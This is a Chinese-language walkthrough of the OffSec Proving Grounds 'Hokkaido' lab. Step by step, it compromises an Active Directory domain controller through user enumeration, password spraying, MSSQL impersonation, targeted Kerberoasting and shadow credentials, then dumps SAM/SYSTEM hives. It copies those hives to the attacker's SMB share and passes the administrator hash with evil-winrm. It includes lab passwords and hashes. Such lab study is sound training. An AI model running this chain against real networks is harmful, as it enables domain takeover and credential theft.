OSCP Hokkaido Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Hokkaido

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

用户名枚举、弱口令 –> 域控 info 用户权限 –> SMB 服务枚举、密码喷洒 –> 域控 discovery 用户权限**–>** discovery 用户 mssql 服务枚举(用户模拟) –> 域控 hrapp-service 权限 –> bloodhound 分析 –> Hrapp-service 用户 GenericWrite 权限获取 HAZEL.GREEN 用户密码 –> bloodhound 分析 –> HAZEL.GREEN 用户 ForceChangePassword 权限修改 MOLLY.SMITH 用户密码 –> 用户旗帜

权限提升:

RDP 界面管理员权限启动 cmd –> MOLLY.SMITH 用户备份特权,备份 sam、system 文件 –> 域控 administrator 用户 Hahs –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
sudo nmap -p- 192.168.171.40 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
8530/tcp open unknown
8531/tcp open unknown
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49675/tcp open unknown
49684/tcp open unknown
49685/tcp open unknown
49691/tcp open unknown
49700/tcp open unknown
49701/tcp open unknown
49712/tcp open unknown
49788/tcp open unknown
58538/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
sudo nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,8530,8531,9389,47001,49664,49665,49666,49667,49668,49671,49675,49684,49685,49691,49700,49701,49712,49788,58538 -sCV 192.168.171.40

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-26 08:09:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.hokkaido-aerospace.com
| Not valid before: 2023-12-07T13:54:18
|_Not valid after: 2024-12-06T13:54:18
|_ssl-date: 2025-09-26T08:10:45+00:00; -3s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-26T08:10:45+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.hokkaido-aerospace.com
| Not valid before: 2023-12-07T13:54:18
|_Not valid after: 2024-12-06T13:54:18
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 192.168.171.40:1433:
| Target_Name: HAERO
| NetBIOS_Domain_Name: HAERO
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hokkaido-aerospace.com
| DNS_Computer_Name: dc.hokkaido-aerospace.com
| DNS_Tree_Name: hokkaido-aerospace.com
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 192.168.171.40:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-09-26T08:10:45+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-08-02T02:13:54
|_Not valid after: 2054-08-02T02:13:54
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-26T08:10:45+00:00; -4s from scanner time.
| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.hokkaido-aerospace.com
| Not valid before: 2023-12-07T13:54:18
|_Not valid after: 2024-12-06T13:54:18
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.hokkaido-aerospace.com
| Not valid before: 2023-12-07T13:54:18
|_Not valid after: 2024-12-06T13:54:18
|_ssl-date: 2025-09-26T08:10:45+00:00; -3s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-26T08:10:45+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com
| Not valid before: 2025-09-25T07:58:19
|_Not valid after: 2026-03-27T07:58:19
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp open http Microsoft IIS httpd 10.0
|_http-title: 403 - Forbidden: Access is denied.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
8531/tcp open unknown
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
49684/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49788/tcp open msrpc Microsoft Windows RPC
58538/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 192.168.171.40:58538:
| Target_Name: HAERO
| NetBIOS_Domain_Name: HAERO
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hokkaido-aerospace.com
| DNS_Computer_Name: dc.hokkaido-aerospace.com
| DNS_Tree_Name: hokkaido-aerospace.com
|_ Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-08-02T02:13:54
|_Not valid after: 2054-08-02T02:13:54
| ms-sql-info:
| 192.168.171.40:58538:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 58538
|_ssl-date: 2025-09-26T08:10:46+00:00; -3s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 域环境,开放有 HTTP、RDP、MSSQL、WINRM 和 Windows 域控的一些默认服务。

域控信息:

1
2
3
4
5
# 域控域名:
hokkaido-aerospace.com

# 域控 KDC:
dc.hokkaido-aerospace.com

3.2 渗透测试突破边界

3.2.1 域控用户名枚举、弱口令

在 kali 添加靶机域控域名解析。

1
echo "192.168.171.40\tdc.hokkaido-aerospace.com hokkaido-aerospace.com" | sudo tee -a /etc/hosts

靶机 SMB、RPC、LDAP 服务枚举过程均未发现有价值信息,用户名枚举得到系统 info 用户,且该用户存在弱口令: info/info

1
./kerbrute_linux_amd64 userenum --dc 192.168.109.40 -d hokkaido-aerospace.com /usr/share/seclists/Usernames/cirt-default-usernames.txt

1
nxc smb 192.168.109.40 -u 'info' -p 'info'

3.2.2 SMB 服务泄漏 discovery 用户密码

通过 info 用户凭证使用 bloodhound-ce-python 搜集域控信息。

1
bloodhound-ce-python -d hokkaido-aerospace.com -u 'info' -p 'info' -gc dc.hokkaido-aerospace.com -ns 192.168.109.40 -c ALL --zip

将搜集的信息导入 bloodhound,发现靶机存在两个服务账号,尝试 kerberoast 攻击得到服务 TGS 票据,但均无法破解密文。

1
impacket-GetUserSPNs hokkaido-aerospace.com/info:info -request -dc-host dc.hokkaido-aerospace.com

在 info 用户 SMB NETLOGON 目录发现敏感密码。

1
smbclient //192.168.109.40/NETLOGON -U "info%info"

通过 rpcclient 枚举域控所有用户信息,将用户名保存至本地。

1
2
rpcclient -U "info%info" 192.168.109.40
enumdomusers

使用 nxc 执行密码喷洒,得到 discovery 用户密码。

1
nxc smb 192.168.109.40 -u user -p 'Start123!' --continue-on-success

3.2.3 MSSQL 用户权限模拟得到 hrapp-service 用户密码

使用 impacket-mssqlclient 工具连接靶机 mssql 数据库,尝试读取 hrappdb 数据库时提示权限拒绝,通过工具用户权限枚举功能,发现 discovery 用户可模拟已经登录的 hrappdb-reader 权限。

1
2
3
4
5
impacket-mssqlclient hokkaido-aerospace.com/discovery:'Start123!'@192.168.109.40 -windows-auth

enum_db
use hrappdb;
enum_impersonate

模拟 hrappdb-reader 权限,在 hrappdb 数据库 sysauth 表得到 hrapp-service 用户密码。

1
2
3
4
exec_as_login hrappdb-reader
use hrappdb;
SELECT * FROM HRAPPDB.INFORMATION_SCHEMA.TABLES;
select * from sysauth;

3.2.4 Hrapp-service 用户 GenericWrite 权限获取 HAZEL.GREEN 用户密码

在 bloodhound 发现 Hrapp-service 用户对 HAZEL.GREEN 用户具有 GenericWrite 权限,利用该权限可尝试获取 HAZEL.GREEN 用户密码,根据 bloodhound 提示共有两种攻击方式。

方式一: 通过 targetedKerberoast 工具获取 HAZEL.GREEN 用户 TGS,然后通过 hashcat 破解。

1
python3 targetedKerberoast.py -u 'hrapp-service' -p 'Untimed$Runny' -d "hokkaido-aerospace.com" --dc-host "dc.hokkaido-aerospace.com"

1
hashcat Hazel.Green_hash ~/Desktop/rockyou.txt

方法二: 通过影子凭证攻击获取 HAZEL.GREEN 用户 Hash。

参考链接:

1
https://github.com/ShutdownRepo/pywhisker

1
python3 pywhisker.py -d "hokkaido-aerospace.com" -u "hrapp-service" -p 'Untimed$Runny' --target "HAZEL.GREEN" --action "add" --filename hack

1
2
3
python3 gettgtpkinit.py -cert-pfx hack.pfx -pfx-pass X5UqdyNlLSMVElmohr81 hokkaido-aerospace.com/HAZEL.GREEN HAZEL.GREEN.ccache
export KRB5CCNAME=$PWD/HAZEL.GREEN.ccache
python3 getnthash.py -key c6dd53b3969acd49d8ad8f7fed2d8f0f5818e9d8ede4edab193fab7d7de01a5f hokkaido-aerospace.com/HAZEL.GREEN

接下来可以选择 hashcat 破解明文,也可直接哈希传递。

1
hashcat hash ~/Desktop/rockyou.txt -m 1000

3.3.5 HAZEL.GREEN 用户 ForceChangePassword 权限修改 MOLLY.SMITH 用户密码

在 bloodhound 发现 HAZEL.GREEN 用户属于 TIER2-ADMINS 组,TIER2-ADMINS 组对 MOLLY.SMITH 用户具有 ForceChangePassword 权限,MOLLY.SMITH 用户最终可归属到 REMOTE DESKTOP USERS 组,我们只通过 HAZEL.GREEN 用户 ForceChangePassword 权限修改 MOLLY.SMITH 用户密码,然后利用 MOLLY.SMITH 用户登录靶机。

点击 ForceChangePassword 查看帮助信息,使用 rpcclient 修改 MOLLY.SMITH 用户密码。

1
net rpc password "MOLLY.SMITH" "newP@ssword2022" -U "hokkaido-aerospace.com"/"Hazel.Green"%"haze1988" -S "hokkaido-aerospace.com"

1
nxc rdp 192.168.109.40 -u 'MOLLY.SMITH' -p 'newP@ssword2022'

使用 xfreerdp3 远程登录靶机(MOLLY.SMITH 用户权限)。

1
xfreerdp3 /u:"MOLLY.SMITH" /p:"newP@ssword2022" /v:192.168.109.40 /d:'hokkaido-aerospace.com' /sec:tls /cert:ignore /dynamic-resolution /clipboard /scale:180

3.2.6 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 备份特权获取系统 administrator Hash

以管理员权限启动 cmd。

利用 MOLLY.SMITH 用户备份特权备份系统 system 和 sam 文件(虽然处于禁用状态但不仍可正常执行备份)。

1
whoami /priv

1
2
3
4
cd /
mkdir back
reg save hklm\system c:\back\system
reg save hklm\sam c:\back\sam

为了方便文件传输,可以在 kali 开启 SMB 共享,然后通过靶机连接 kali 共享实现靶机与 kali 的文件传输。

1
2
3
4
5
6
7
# kali
impacket-smbserver share ./ -smb2support -username kali -password kali

# 靶机
net use \\192.168.45.208\share /user:kali kali
copy sam \\192.168.45.208\share
copy system \\192.168.45.208\share

通过 impacket-secretsdump 工具提取 administrator 用户 hahs。

1
impacket-secretsdump -system system -sam sam LOCAL

注意: 如果执行备份过程出现错误,可尝试 powershell 脚本将特权修改为开启状态。

工具链接:

1
https://github.com/fashionproof/EnableAllTokenPrivs/blob/master/EnableAllTokenPrivs.ps1

普通 Windows 提取 system 和 sam 文件即可得到系统全部用户 Hash,而想要得到域控制器全部域用户 Hash 则需要备份 ntds 文件。某些情况即使我们拥有全部的备份特权也无法成功备份 ntds 文件,该靶场就属于这种情况(组策略和权限问题导致),我们尝试备份系统 ntds 文件时,无论利用哪种攻击方式,系统都会提示备份失败,由于该靶机本地 administrator 用户未被禁用,所以可以直接通过本地账户登录获取 DC 管理员权限,如果靶机禁用了本地 administrator 用户登录权限,此时就需要调整思路,尝试其他特权的利用。

使用 evil-winrm 登录靶机(administrator 用户权限)。

1
evil-winrm -i 192.168.109.40 -u administrator -H d752482897d54e239376fddb2a2109e4

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨